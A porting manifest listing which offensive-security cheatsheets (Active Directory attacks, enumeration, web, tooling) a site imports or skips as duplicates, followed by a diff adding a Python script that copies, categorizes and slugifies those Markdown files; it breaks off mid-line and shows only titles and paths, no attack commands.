PrintNightmare (CVE-2021-34527) ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #43 — PrintNightmare (CVE-2021-34527).md advanced · 5 tools +ADD active-directory attack-44-nopac-sam-the-admin-cve-2021-42278-42287 Attack #44 — noPAC Sam-the-Admin (CVE-2021-42278 42287) ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #44 — noPAC Sam-the-Admin (CVE-2021-42278 42287).md advanced · 5 tools +ADD active-directory attack Attack ActiveDirectory/AD-Attack/Category-Five/🔵 Attack.md advanced · 0 tools +ADD active-directory attack-27-esc1-san-specification-in-template Attack #27 — ESC1 SAN Specification in Template ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #27 — ESC1 SAN Specification in Template.md advanced · 5 tools +ADD active-directory attack-28-esc2-any-purpose-eku-no-eku Attack #28 — ESC2 Any Purpose EKU No EKU ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #28 — ESC2 Any Purpose EKU No EKU.md advanced · 3 tools +ADD active-directory attack-29-esc3-certificate-request-agent Attack #29 — ESC3 Certificate Request Agent ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #29 — ESC3 Certificate Request Agent.md advanced · 3 tools +ADD active-directory attack-30-esc4-template-write-permissions Attack #30 — ESC4 Template Write Permissions ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #30 — ESC4 Template Write Permissions.md advanced · 1 tools +ADD active-directory attack-31-esc6-editf-attributesubjectaltname2-flag Attack #31 — ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #31 — ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 Flag.md advanced · 3 tools +ADD active-directory attack-32-esc7-vulnerable-ca-officer-permissions Attack #32 — ESC7 Vulnerable CA Officer Permissions ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #32 — ESC7 Vulnerable CA Officer Permissions.md advanced · 1 tools +ADD active-directory attack-33-esc8-ntlm-relay-to-adcs-http-endpoint Attack #33 — ESC8 NTLM Relay to ADCS HTTP Endpoint ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #33 — ESC8 NTLM Relay to ADCS HTTP Endpoint.md advanced · 2 tools +ADD active-directory attack-34-esc11-ntlm-relay-to-adcs-rpc Attack #34 — ESC11 NTLM Relay to ADCS RPC ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #34 — ESC11 NTLM Relay to ADCS RPC.md advanced · 2 tools +ADD active-directory attack-35-golden-certificate-attack Attack #35 — Golden Certificate Attack ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #35 — Golden Certificate Attack.md advanced · 4 tools +ADD active-directory attack-36-certifried-cve-2022-26923 Attack #36 — Certifried (CVE-2022-26923) ActiveDirectory/AD-Attack/Category-Four/🟢 Attack #36 — Certifried (CVE-2022-26923).md advanced · 2 tools +ADD active-directory attack-68-cross-domain-trust-abuse-sid-history Attack #68 — Cross-Domain Trust Abuse (SID History) ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #68 — Cross-Domain Trust Abuse (SID History).md advanced · 3 tools +ADD active-directory attack-69-forest-trust-abuse-cross-forest-ticket-forging Attack #69 — Forest Trust Abuse Cross-Forest Ticket Forging ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #69 — Forest Trust Abuse Cross-Forest Ticket Forging.md advanced · 4 tools +ADD active-directory attack-70-adcs-cross-domain-enrollment Attack #70 — ADCS Cross-Domain Enrollment ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #70 — ADCS Cross-Domain Enrollment.md advanced · 1 tools +ADD active-directory attack-71-pam-trust-abuse-bastion-forest Attack #71 — PAM Trust Abuse (Bastion Forest) ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #71 — PAM Trust Abuse (Bastion Forest).md advanced · 1 tools +ADD active-directory attack-1-password-spraying Attack #1 — Password Spraying ActiveDirectory/AD-Attack/Category-One/🔴 Attack #1 — Password Spraying.md advanced · 5 tools +ADD active-directory attack-10-credential-hunting-in-shares-gpp-passwords Attack #10 — Credential Hunting in Shares GPP Passwords ActiveDirectory/AD-Attack/Category-One/🔴 Attack #10 — Credential Hunting in Shares GPP Passwords.md advanced · 5 tools +ADD active-directory attack-2-kerberoasting Attack #2 — Kerberoasting ActiveDirectory/AD-Attack/Category-One/🔴 Attack #2 — Kerberoasting.md advanced · 5 tools +ADD active-directory attack-3-as-rep-roasting Attack #3 — AS-REP Roasting ActiveDirectory/AD-Attack/Category-One/🔴 Attack #3 — AS-REP Roasting.md advanced · 5 tools +ADD active-directory attack-4-pass-the-hash-pth Attack #4 — Pass-the-Hash (PtH) ActiveDirectory/AD-Attack/Category-One/🔴 Attack #4 — Pass-the-Hash (PtH).md advanced · 5 tools +ADD active-directory attack-5-pass-the-ticket-ptt Attack #5 — Pass-the-Ticket (PtT) ActiveDirectory/AD-Attack/Category-One/🔴 Attack #5 — Pass-the-Ticket (PtT).md advanced · 5 tools +ADD active-directory attack-6-overpass-the-hash-pass-the-key Attack #6 — Overpass-the-Hash (Pass-the-Key) ActiveDirectory/AD-Attack/Category-One/🔴 Attack #6 — Overpass-the-Hash (Pass-the-Key).md advanced · 5 tools +ADD active-directory attack-7-ntlm-relay-attacks Attack #7 — NTLM Relay Attacks ActiveDirectory/AD-Attack/Category-One/🔴 Attack #7 — NTLM Relay Attacks.md advanced · 5 tools +ADD active-directory attack-8-llmnr-nbt-ns-mdns-poisoning Attack #8 — LLMNR NBT-NS mDNS Poisoning ActiveDirectory/AD-Attack/Category-One/🔴 Attack #8 — LLMNR NBT-NS mDNS Poisoning.md advanced · 5 tools +ADD active-directory attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover Attack #9 — mitm6 (IPv6 DNS Spoofing DHCPv6 Takeover) ActiveDirectory/AD-Attack/Category-One/🔴 Attack #9 — mitm6 (IPv6 DNS Spoofing DHCPv6 Takeover).md advanced · 5 tools +ADD active-directory attack-54-psexec-remote-execution-via-smb Attack #54 — PsExec Remote Execution via SMB ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #54 — PsExec Remote Execution via SMB.md advanced · 5 tools +ADD active-directory attack-55-winrm-evil-winrm-lateral-movement Attack #55 — WinRM Evil-WinRM Lateral Movement ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #55 — WinRM Evil-WinRM Lateral Movement.md advanced · 3 tools +ADD active-directory attack-56-rdp-lateral-movement-and-hijacking Attack #56 — RDP Lateral Movement and Hijacking ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #56 — RDP Lateral Movement and Hijacking.md advanced · 2 tools +ADD active-directory attack-57-dcom-lateral-movement Attack #57 — DCOM Lateral Movement ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #57 — DCOM Lateral Movement.md advanced · 2 tools +ADD active-directory attack-58-wmi-lateral-movement Attack #58 — WMI Lateral Movement ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #58 — WMI Lateral Movement.md advanced · 2 tools +ADD active-directory attack-59-scm-service-manager-lateral-movement Attack #59 — SCM Service Manager Lateral Movement ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #59 — SCM Service Manager Lateral Movement.md advanced · 2 tools +ADD active-directory attack-60-token-stealing-and-impersonation Attack #60 — Token Stealing and Impersonation ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #60 — Token Stealing and Impersonation.md advanced · 3 tools +ADD active-directory attack-45-token-impersonation-seimpersonateprivilege Attack #45 — Token Impersonation (SeImpersonatePrivilege) ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #45 — Token Impersonation (SeImpersonatePrivilege).md advanced · 5 tools +ADD active-directory attack-46-dnsadmins-dll-injection Attack #46 — DNSAdmins DLL Injection ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #46 — DNSAdmins DLL Injection.md advanced · 1 tools +ADD active-directory attack-47-machineaccountquota-maq-abuse Attack #47 — MachineAccountQuota (MAQ) Abuse ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #47 — MachineAccountQuota (MAQ) Abuse.md advanced · 2 tools +ADD active-directory attack-48-gpp-password-decryption Attack #48 — GPP Password Decryption ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #48 — GPP Password Decryption.md advanced · 3 tools +ADD active-directory attack-49-abusing-backup-operators-group Attack #49 — Abusing Backup Operators Group ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #49 — Abusing Backup Operators Group.md advanced · 2 tools +ADD active-directory attack-50-abusing-account-operators-group Attack #50 — Abusing Account Operators Group ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #50 — Abusing Account Operators Group.md advanced · 2 tools +ADD active-directory attack-51-abusing-server-operators-group Attack #51 — Abusing Server Operators Group ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #51 — Abusing Server Operators Group.md advanced · 1 tools +ADD active-directory attack-52-abusing-print-operators-group Attack #52 — Abusing Print Operators Group ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #52 — Abusing Print Operators Group.md advanced · 1 tools +ADD active-directory attack-53-exchange-windows-permissions-writedacl-to-dcsync Attack #53 — Exchange Windows Permissions (WriteDACL to DCSync) ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #53 — Exchange Windows Permissions (WriteDACL to DCSync).md advanced · 3 tools +ADD active-directory attack-72-laps-password-extraction Attack #72 — LAPS Password Extraction ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #72 — LAPS Password Extraction.md advanced · 3 tools +ADD active-directory attack-73-gmsa-password-extraction Attack #73 — gMSA Password Extraction ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #73 — gMSA Password Extraction.md advanced · 2 tools +ADD active-directory attack-74-azure-ad-connect-credential-extraction Attack #74 — Azure AD Connect Credential Extraction ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #74 — Azure AD Connect Credential Extraction.md advanced · 3 tools +ADD active-directory attack-75-sccm-mecm-exploitation Attack #75 — SCCM MECM Exploitation ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #75 — SCCM MECM Exploitation.md advanced · 1 tools +ADD active-directory attack-76-mssql-server-and-linked-server-abuse Attack #76 — MSSQL Server and Linked Server Abuse ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #76 — MSSQL Server and Linked Server Abuse.md advanced · 3 tools +ADD active-directory attack-77-dfscoerce-ms-dfsnm-coercion Attack #77 — DFSCoerce MS-DFSNM Coercion ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #77 — DFSCoerce MS-DFSNM Coercion.md advanced · 0 tools +ADD active-directory attack-78-ad-recycle-bin-object-abuse Attack #78 — AD Recycle Bin Object Abuse ActiveDirectory/AD-Attack/Category-Ten/🔷 Attack #78 — AD Recycle Bin Object Abuse.md advanced · 3 tools +ADD active-directory attack-19-genericall-abuse Attack #19 — GenericAll Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #19 — GenericAll Abuse.md advanced · 5 tools +ADD active-directory attack-20-genericwrite-abuse Attack #20 — GenericWrite Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #20 — GenericWrite Abuse.md advanced · 4 tools +ADD active-directory attack-21-writedacl-abuse Attack #21 — WriteDACL Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #21 — WriteDACL Abuse.md advanced · 4 tools +ADD active-directory attack-22-writeowner-abuse Attack #22 — WriteOwner Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #22 — WriteOwner Abuse.md advanced · 2 tools +ADD active-directory attack-23-forcechangepassword-abuse Attack #23 — ForceChangePassword Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #23 — ForceChangePassword Abuse.md advanced · 2 tools +ADD active-directory attack-24-allextendedrights-dcsync-ace-abuse Attack #24 — AllExtendedRights DCSync ACE Abuse ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #24 — AllExtendedRights DCSync ACE Abuse.md advanced · 4 tools +ADD active-directory attack-25-shadow-credentials-attack-msds-keycredentiallink Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink) ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #25 — Shadow Credentials Attack (msDS-KeyCredentialLink).md advanced · 4 tools +ADD active-directory attack-26-adminsdholder-persistence-via-acl Attack #26 — AdminSDHolder Persistence via ACL ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #26 — AdminSDHolder Persistence via ACL.md advanced · 3 tools +ADD active-directory attack-11-golden-ticket-attack Attack #11 — Golden Ticket Attack ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #11 — Golden Ticket Attack.md advanced · 5 tools +ADD active-directory attack-12-silver-ticket-attack Attack #12 — Silver Ticket Attack ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #12 — Silver Ticket Attack.md advanced · 5 tools +ADD active-directory attack-13-diamond-ticket-attack Attack #13 — Diamond Ticket Attack ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #13 — Diamond Ticket Attack.md advanced · 4 tools +ADD active-directory attack-14-sapphire-ticket-attack Attack #14 — Sapphire Ticket Attack ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #14 — Sapphire Ticket Attack.md advanced · 4 tools +ADD active-directory attack-15-unconstrained-delegation-abuse Attack #15 — Unconstrained Delegation Abuse ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #15 — Unconstrained Delegation Abuse.md advanced · 5 tools +ADD active-directory attack-16-constrained-delegation-abuse-s4u2proxy Attack #16 — Constrained Delegation Abuse (S4U2Proxy) ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #16 — Constrained Delegation Abuse (S4U2Proxy).md advanced · 5 tools +ADD active-directory attack-17-resource-based-constrained-delegation-rbcd Attack #17 — Resource-Based Constrained Delegation (RBCD) ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #17 — Resource-Based Constrained Delegation (RBCD).md advanced · 5 tools +ADD active-directory attack-18-bronze-bit-attack-cve-2020-17049 Attack #18 — Bronze Bit Attack (CVE-2020-17049) ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #18 — Bronze Bit Attack (CVE-2020-17049).md advanced · 3 tools +SKIP active-directory ad-pentest-tools-cheat-sheet AD_Pentest_Tools_Cheat_Sheet ActiveDirectory/AD_Pentest_Tools_Cheat_Sheet.md dup of active-directory/ad-pentest-tools.md +ADD active-directory active-directory-cheat-sheet Active-Directory_cheat_sheet ActiveDirectory/Active-Directory_cheat_sheet.md intermediate · 5 tools +ADD active-directory bloodhound-python BloodHound-Python_ ActiveDirectory/BloodHound-Python_Cheatsheet.md intermediate · 5 tools +SKIP active-directory bloodyad BloodyAD ActiveDirectory/BloodyAD.md dup of active-directory/bloodyad.md +ADD active-directory certipy-ad Certipy-ad ActiveDirectory/Certipy-ad.md intermediate · 4 tools +SKIP active-directory kerberoasting Kerberoasting ActiveDirectory/Kerberos/Kerberoasting Cheatsheet.md dup of active-directory/kerberoasting.md +ADD active-directory kerberoasting-local-on-host Kerberoasting — Local On-Host ActiveDirectory/Kerberos/Kerberoasting — Local On-Host Cheatsheet.md advanced · 5 tools +SKIP active-directory silver-ticket-attack Silver Ticket Attack ActiveDirectory/Kerberos/🥈 Silver Ticket Attack Cheatsheet.md dup of active-directory/attack-12-silver-ticket-attack.md (new) +SKIP active-directory kerbrute Kerbrute ActiveDirectory/Kerbrute.md dup of active-directory/kerbrute.md +ADD active-directory ldap-search LDAP Search ActiveDirectory/LDAP Search.md intermediate · 3 tools +SKIP active-directory rubeus Rubeus ActiveDirectory/Rubeus.md dup of active-directory/rubeus.md +ADD active-directory sharphound SharpHound_ ActiveDirectory/SharpHound_Cheatsheet.md intermediate · 5 tools +SKIP active-directory sharpsploit SharpSploit ActiveDirectory/SharpSploit.md dup of tools/sharpsploit.md +SKIP active-directory snaffler Snaffler ActiveDirectory/Snaffler.md dup of tools/snaffler.md +ADD active-directory bloodhound-ce-python bloodhound-ce-python ActiveDirectory/bloodhound-ce-python-cheatsheet.md intermediate · 4 tools +ADD active-directory faketime faketime ActiveDirectory/faketime-cheatsheet.md intermediate · 5 tools +ADD active-directory ldapdomaindump ldapdomaindump ActiveDirectory/ldapdomaindump.md intermediate · 5 tools +SKIP Attack-Flow-Guide.md non-sheet (meta/index/roadmap) +SKIP CPTS-Exam-Attack-Flow.md non-sheet (meta/index/roadmap) +SKIP CPTS-Exam-Most-Used-Commands.md non-sheet (meta/index/roadmap) +SKIP cryptography gpg-cheatsheet GPG - Cheatsheet Cryptography/GPG - Cheatsheet markdown.md dup of cryptography/gpg.md +SKIP cryptography gog gog Cryptography/gog.md dup of cryptography/gpg.md +SKIP dfir forensics Forensics DFIR/Forensics Cheatsheet.md dup of dfir/forensics.md +SKIP dfir recmd-fullguide RECmd - FullGuide DFIR/RECmd - FullGuide.md dup of dfir/recmd.md +SKIP dfir redmd-quick REDmd - Quick DFIR/REDmd - Quick Cheat sheet.md dup of dfir/recmd.md +SKIP dfir volitility3 Volitility3 DFIR/Volitility3 .md dup of dfir/volatility.md +SKIP Digital_Forensics-Roadmap.md non-sheet (meta/index/roadmap) +ADD enumeration anonymous-null-testing Anonymous Null Testing Enumeration/Anonymous Null Testing.md intermediate · 3 tools +ADD enumeration awesome-nmap-grep Awesome NMAP grep Enumeration/Awesome NMAP grep.md intermediate · 1 tools +ADD enumeration cheatsheet-infrastructure-enumeration-tools-1 Cheatsheet - Infrastructure Enumeration Tools 1 Enumeration/Cheatsheet - Infrastructure Enumeration Tools 1.md intermediate · 2 tools +ADD enumeration credential-hunting Credential Hunting Enumeration/Credential Hunting.md intermediate · 0 tools +ADD enumeration 2-4-cheatsheet-gitleaks 2.4 - Cheatsheet - Gitleaks Enumeration/GitHub-Enum/2.4 - Cheatsheet - Gitleaks.md intermediate · 1 tools +ADD enumeration 2-5-cheatsheet-trufflehog 2.5 - Cheatsheet - TruffleHog Enumeration/GitHub-Enum/2.5 - Cheatsheet - TruffleHog.md intermediate · 2 tools +ADD enumeration lfi LFI Enumeration/LFI - Cheat Sheet.md intermediate · 1 tools +ADD enumeration nse-guide NSE Guide Enumeration/NSE Guide.md intermediate · 1 tools +ADD enumeration nikto-nuclei-web-scanner-cheatsheets Nikto & Nuclei - Web Scanner Cheatsheets Enumeration/Nikto & Nuclei - Web Scanner Cheatsheets.md intermediate · 4 tools +SKIP enumeration nmap-cheatsheet-2026 Nmap Cheatsheet 2026 Enumeration/Nmap Cheatsheet 2026.md dup of enumeration/nmap.md +SKIP enumeration rustscan RustScan_ Enumeration/RustScan_Cheatsheet.md dup of enumeration/rustscan.md +SKIP enumeration smbmap SMBMAP Enumeration/SMBMAP.md dup of enumeration/smbmap.md +SKIP enumeration wpscan-1 WPScan 1 Enumeration/WPScan 1.md dup of enumeration/wpscan.md +SKIP enumeration wpscan WPScan Enumeration/WPScan.md dup of enumeration/wpscan.md +ADD enumeration windows-enumeration Windows Enumeration Enumeration/Windows Emumeration.md intermediate · 1 tools +SKIP enumeration ffuf-cheat-sheet ffuf_cheat_sheet Enumeration/ffuf_cheat_sheet.md dup of enumeration/ffuf.md +SKIP enumeration rustscan-usage rustscan-usage Enumeration/rustscan-usage.md dup of enumeration/rustscan.md +SKIP enumeration rustscan rustscan Enumeration/rustscan.md dup of enumeration/rustscan.md +SKIP Exploitation/Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.md non-sheet (meta/index/roadmap) +ADD exploitation jailbreak-tty-upgrade Jailbreak - TTY Upgrade Exploitation/Jailbreak - TTY Upgrade.md intermediate · 5 tools +ADD exploitation tty-and-escaping-restricted-env TTY and Escaping Restricted Env Exploitation/TTY and Escaping Restricted Env.md intermediate · 4 tools +ADD exploitation sqlmap-cheat-sheet-sql-injection-testing-data-extraction sqlmap Cheat Sheet - SQL Injection Testing & Data Extraction Exploitation/sqlmap Cheat Sheet - SQL Injection Testing & Data Extraction.md intermediate · 3 tools +SKIP exploitation sqlmap sqlmap Exploitation/sqlmap.md dup of exploitation/sqlmap.md +ADD git-workflow git-complete-branch-vault-management-guide Git — Complete Branch & Vault Management Guide Git — Complete Branch & Vault Management Guide.md intermediate · 0 tools +SKIP Git/.md non-sheet (meta/index/roadmap) +SKIP Git/Branches Expanded.md semantic dup of existing sheet +SKIP Git/Branches.md semantic dup of existing sheet +ADD git-workflow git-move-existing-edits-to-a-new-branch-railway-site Git — Move Existing Edits to a New Branch (Railway Site) Git/Git — Move Existing Edits to a New Branch (Railway Site).md intermediate · 0 tools +SKIP Git/Resetting.md semantic dup of existing sheet +SKIP git-workflow git git Git/git-cheatsheet.md dup of git-workflow/git.md +SKIP cryptography hashing Hashing HashingAndEncrypting/Hashing cheat sheet .md dup of cryptography/hashing.md +ADD linux-it find-command Find Command Linux/Find Command.md intermediate · 0 tools +ADD linux-it linux-file-directory-search Linux File & Directory Search Linux/Linux File & Directory Search Cheat Sheet.md intermediate · 1 tools +ADD linux-it rdp RDP Linux/RDP CheatSheet.md intermediate · 0 tools +ADD tunneling-pivoting pivoting-and-tunnelling Pivoting and Tunnelling Misc/Pivoting and Tunnelling .md intermediate · 5 tools +ADD tunneling-pivoting ssh-portfwding-with-metasploit SSH Portfwding with metasploit Misc/SSH Portfwding with metasploit .md intermediate · 2 tools +ADD tunneling-pivoting tunneling Tunneling Misc/Tunneling.md intermediate · 5 tools +ADD tools smbshare smbshare Misc/smbshare.md intermediate · 2 tools +ADD tools sponge sponge Misc/sponge-cheatsheet.md intermediate · 0 tools +SKIP linux-it tmux tmux Misc/tmux.md dup of linux-it/tmux.md +SKIP Most-Used-Commands.md non-sheet (meta/index/roadmap) +SKIP PasswordAttacks/hashcat modes.md semantic dup of existing sheet +SKIP password-attacks hashcat hashcat PasswordAttacks/hashcat-cheatsheet.md dup of password-attacks/hashcat.md +SKIP PasswordAttacks/john-cheatsheet.md semantic dup of existing sheet +SKIP privilege-escalation linux-privesc Linux PrivEsc PrivEsc/Linux PrivEsc Cheat Sheet.md dup of privilege-escalation/linux-privesc.md +SKIP privilege-escalation privesc-windows PrivEsc - Windows PrivEsc/PrivEsc - Windows.md dup of privilege-escalation/windows-privesc.md +SKIP privilege-escalation windows-privesc Windows PrivEsc PrivEsc/Windows PrivEsc.md dup of privilege-escalation/windows-privesc.md +SKIP tools bloodhound BloodHound Tools/BloodHound-Cheatsheet.md dup of active-directory/bloodhound.md +SKIP Tools/CMD-Powershell Cheat Sheet.md semantic dup of existing sheet +SKIP Tools/Certipy-ADCS-Cheatsheet.md semantic dup of existing sheet +SKIP tools cobalt-strike Cobalt-Strike Tools/Cobalt-Strike-Cheatsheet.md dup of tools/cobalt-strike.md +SKIP tools eyewitness EyeWitness Tools/EyeWitness-Cheatsheet.md dup of tools/eyewitness.md +SKIP tools ffuf Ffuf Tools/Ffuf-Cheatsheet.md dup of enumeration/ffuf.md +SKIP tools hashcat Hashcat Tools/Hashcat-Cheatsheet.md dup of password-attacks/hashcat.md +SKIP tools impacket Impacket Tools/Impacket-Cheatsheet.md dup of active-directory/impacket.md +SKIP tools impacket Impacket Tools/Impacket.md dup of active-directory/impacket.md +ADD tools internet-archival-guide Internet Archival Guide Tools/Internet-Archival-Guide/Internet Archival Guide.md intermediate · 0 tools +SKIP Tools/Internet-Archival-Guide/scripts/README.md non-sheet (meta/index/roadmap) +SKIP tools ligolo-ng Ligolo-ng Tools/Ligolo-ng Cheat sheet.md dup of tunneling-pivoting/ligolo-ng.md +SKIP tools mimikatz Mimikatz Tools/Mimikatz-Cheatsheet.md dup of active-directory/mimikatz.md +SKIP tools ntlm-kerberos-relay NTLM-Kerberos-Relay Tools/NTLM-Kerberos-Relay-Cheatsheet.md dup of tools/ntlm-kerberos-relay.md +ADD tools netexec-spiderplus NetExec - SpiderPlus Tools/NetExec - SpiderPlus.md intermediate · 2 tools +SKIP tools netexec NetExec Tools/NetExec-Cheatsheet.md dup of active-directory/netexec.md +SKIP tools netexec-nxc Netexec (nxc) Tools/Netexec (nxc) Cheat Sheet.md dup of active-directory/netexec.md +SKIP tools nuclei Nuclei Tools/Nuclei-Cheatsheet.md dup of enumeration/nuclei.md +SKIP Tools/Powershell.md semantic dup of existing sheet +SKIP tools rubeus Rubeus Tools/Rubeus-Cheatsheet.md dup of active-directory/rubeus.md +ADD tools tar TAR Tools/TAR.md intermediate · 2 tools +SKIP tools tshark Tshark Tools/Tshark.md dup of dfir/tshark.md +ADD tools username-anarchy Username Anarchy Tools/Username Anarchy.md intermediate · 0 tools +ADD tools dd-tool dd tool Tools/dd tool.md intermediate · 0 tools +SKIP tools fscan fscan Tools/fscan.md dup of tools/fscan.md +SKIP tools gobuster gobuster Tools/gobuster.md dup of enumeration/gobuster.md +SKIP tools meterpreter meterpreter Tools/meterpreter.md dup of exploitation/metasploit.md +ADD tools pcap-credential-extraction pcap-credential-extraction Tools/pcap-credential-extraction-cheatsheet.md intermediate · 3 tools +ADD tools smbserver-py smbserver.py Tools/smbserver.py.md intermediate · 3 tools +ADD tools webfuzz webfuzz Tools/webfuzz.md intermediate · 2 tools +ADD web blind-xss-tool-interactsh Blind XSS Tool - Interactsh Web/Blind XSS Tool - Interactsh.md intermediate · 0 tools +ADD web blind-xss-tool-xss-hunter Blind XSS Tool - XSS Hunter Web/Blind XSS Tool - XSS Hunter.md intermediate · 0 tools +ADD web blind-xss-tool-ezxss Blind XSS Tool - ezXSS Web/Blind XSS Tool - ezXSS.md intermediate · 0 tools +SKIP Web/Cross-Site Scripting (XSS) - HTB Cheat Sheet.md semantic dup of existing sheet +ADD web phishing-site-link-identification Phishing Site & Link Identification Web/Phishing Site & Link Identification - Cheat Sheet.md intermediate · 1 tools +ADD linux-it macos-terminal-tweaks macOS Terminal Tweaks macOS Terminal Tweaks Cheat Sheet.md intermediate · 1 tools +ADD linux-it macos-iso-to-usb macOS-ISO-to-USB macOS-ISO-to-USB-Cheatsheet.md intermediate · 1 tools +SKIP linux-it macos-terminal-tweaks macOS Terminal Tweaks macOS/macOS Terminal Tweaks Cheat Sheet.md dup of linux-it/macos-terminal-tweaks.md (new) diff --git a/scripts/__pycache__/port-vault.cpython-314.pyc b/scripts/__pycache__/port-vault.cpython-314.pyc Binary files differ. diff --git a/scripts/port-vault.py b/scripts/port-vault.py @@ -0,0 +1,392 @@ +#!/usr/bin/env python3 +""" +Port the NetrunnerVault Cheatsheets tree into the site's `sheets` collection. + +Mechanical, no rewriting: content is preserved verbatim apart from four +deterministic clean-ups that only remove vault-local scaffolding — + 1. Obsidian frontmatter (aliases/tags) is dropped and replaced with the + site's normalized frontmatter. + 2. A chatbot preamble before the first H1 ("Right on cue, Netrunner…") + is trimmed — everything up to the first `# ` line goes. + 3. `[[wikilinks]]` are flattened to their text (they point at vault pages + that don't exist on-site); `![[embeds]]` are dropped. + 4. `[1][2]`-style citation markers are stripped OUTSIDE code fences. + +Frontmatter (title/description/category/tags/tools/difficulty) is derived +from the filename, path and body. Nothing is paraphrased. + +Dedup: a file whose canonical topic key already exists in the site (either +in the current sheets or earlier in this run) is SKIPPED, so the curated 60 +are never clobbered and rustscan×3 collapses to the one already shipped. + +Usage: + python3 scripts/port-vault.py --dry # decide only, write a manifest + python3 scripts/port-vault.py # apply (writes src/content/sheets) +""" +import json, os, re, sys, unicodedata + +REPO = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) +SRC = "/Volumes/bmdrbeKUVgvV/NetrunnerVault/02Cybersecurity/Cheatsheets" +SHEETS = os.path.join(REPO, "src", "content", "sheets") +MANIFEST = os.path.join(REPO, "port-vault-decisions.tsv") +UPDATED = "2026-08-10" +DRY = "--dry" in sys.argv + +# ── Category: source top-level folder → site domain ───────────────────────── +TOP_MAP = { + "ActiveDirectory": "active-directory", + "Cryptography": "cryptography", + "HashingAndEncrypting": "cryptography", + "DFIR": "dfir", + "Enumeration": "enumeration", + "Exploitation": "exploitation", + "Git": "git-workflow", + "Linux": "linux-it", + "macOS": "linux-it", + "PasswordAttacks": "password-attacks", + "PrivEsc": "privilege-escalation", + "Tools": "tools", + "TunnelingAndPivoting": "tunneling-pivoting", + "Web": "web", +} + +def category_for(rel): + parts = rel.split("/") + top = parts[0] + if top in TOP_MAP: + return TOP_MAP[top] + name = parts[-1].lower() + if top == "Misc": + if "tmux" in name: + return "linux-it" + if any(k in name for k in ("tunnel", "pivot", "portfw")): + return "tunneling-pivoting" + return "tools" + # Root-level strays (most are skipped as non-sheets before reaching here) + if "macos" in name: + return "linux-it" + if "git" in name: + return "git-workflow" + if "forensic" in name: + return "dfir" + return "tools" + +# ── Skip: navigation / meta, not copy-ready cheatsheets ───────────────────── +SKIP_RE = re.compile(r"(roadmap|dashboard|attack-flow|most-used-commands|esc attack index|adcs dashboard)", re.I) + +def is_non_sheet(rel): + base = rel.split("/")[-1] + stem = base[:-3] if base.lower().endswith(".md") else base + if not stem.strip(): + return True # Git/.md — empty stub + if stem.startswith("_"): + return True # _ADCS Dashboard / _index files + if base.lower() in ("attack.md", "readme.md"): + return True # category cover / scripts readme + return bool(SKIP_RE.search(stem)) + +# ── Slug / title / canonical key ──────────────────────────────────────────── +EMOJI_RE = re.compile( + "[\U0001F000-\U0001FAFF\U00002600-\U000027BF\U0001F1E6-\U0001F1FF" + "\U00002190-\U000021FF\U00002B00-\U00002BFF️‍]" +) + +def strip_emoji(s): + return EMOJI_RE.sub("", s) + +def slugify(s): + s = strip_emoji(s) + s = unicodedata.normalize("NFKD", s).encode("ascii", "ignore").decode() + s = s.lower() + s = re.sub(r"[^a-z0-9]+", "-", s) + return re.sub(r"-+", "-", s).strip("-") or "x" + +def title_from(rel): + base = rel.split("/")[-1][:-3] + t = strip_emoji(base).strip() + # Drop trailing "Cheatsheet" / "Cheat Sheet" / "markdown" noise words. + t = 